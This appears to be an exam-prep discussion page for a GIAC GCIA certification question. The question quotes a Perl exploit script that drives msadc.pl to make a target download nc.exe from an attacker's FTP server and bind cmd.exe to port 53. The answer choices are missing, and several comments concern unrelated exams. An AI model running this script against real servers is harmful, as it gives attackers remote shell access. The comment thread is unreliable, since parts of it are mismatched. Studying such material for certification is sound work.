Deal of The Day! Hurry Up, Grab the Special Discount - Save 25% - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

GIAC GCIA Exam - Topic 6 Question 30 Discussion

Posted by Xochitl on Jul 28, 2023 at 08:43 AM

Adam, a malicious hacker performs an exploit, which is given below:

#################################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#################################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h

$host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system

("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");

system("perl

msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get

hacked.

html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is

downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is

finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";

#system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

Suggested Answer: D

Get Premium GCIA Questions as Interactive Web-Based Practice Test or PDF Real Exam Format Detailed Explanations Instant Access Get Your Practice Test
12 comments · newest first
TA
Tamra 11 months ago
Not sure about that, seems too straightforward for a hacker.
BA
Barbra 11 months ago
I think it creates a share called 'sasfile'.
SH
Sherell 11 months ago
Wait, is it really using cmd.exe? That's risky!
XO
Xochitl 11 months ago
Totally agree, looks like it's setting up a backdoor.
YO
Yolande 11 months ago
This script is definitely trying to exploit FTP.
BR
Britt 12 months ago
I think the answer might be D because it mentions opening a listener, but I’m not completely confident about the details of how the exploit works.
KA
Kati 12 months ago
I feel like the script is trying to open a command shell on a specific port, but I'm confused about whether that means it would be a telnet listener or something else.
BE
Bernardo 12 months ago
This kind of question reminds me of a practice one we did about FTP vulnerabilities. I think it might be related to creating an FTP server, but I can't recall the specifics.
LI
Lindsey 1 year ago
I remember we discussed how Perl scripts can be used for exploits, but I'm not entirely sure what the output would be here.
KA
Kate 1 year ago
Okay, I think I've got this. Adding inactive relationships between the sales table and the date table sounds like a good approach to support the analysis of sales over time based on all the date foreign keys. I'll double-check my work, but I'm feeling confident about this one.
CL
Clay 1 year ago
I'm pretty lost on this one. I don't have much experience with BPM Suite or BAM, so I'm not sure what the right answer is. I'll have to guess and hope for the best.
CY
Cyndy 1 year ago
I have a feeling that Terraform is primarily for provisioning environments, but does it handle orchestration as well? I'll have to think about that one.
0/2000 characters

Save Cancel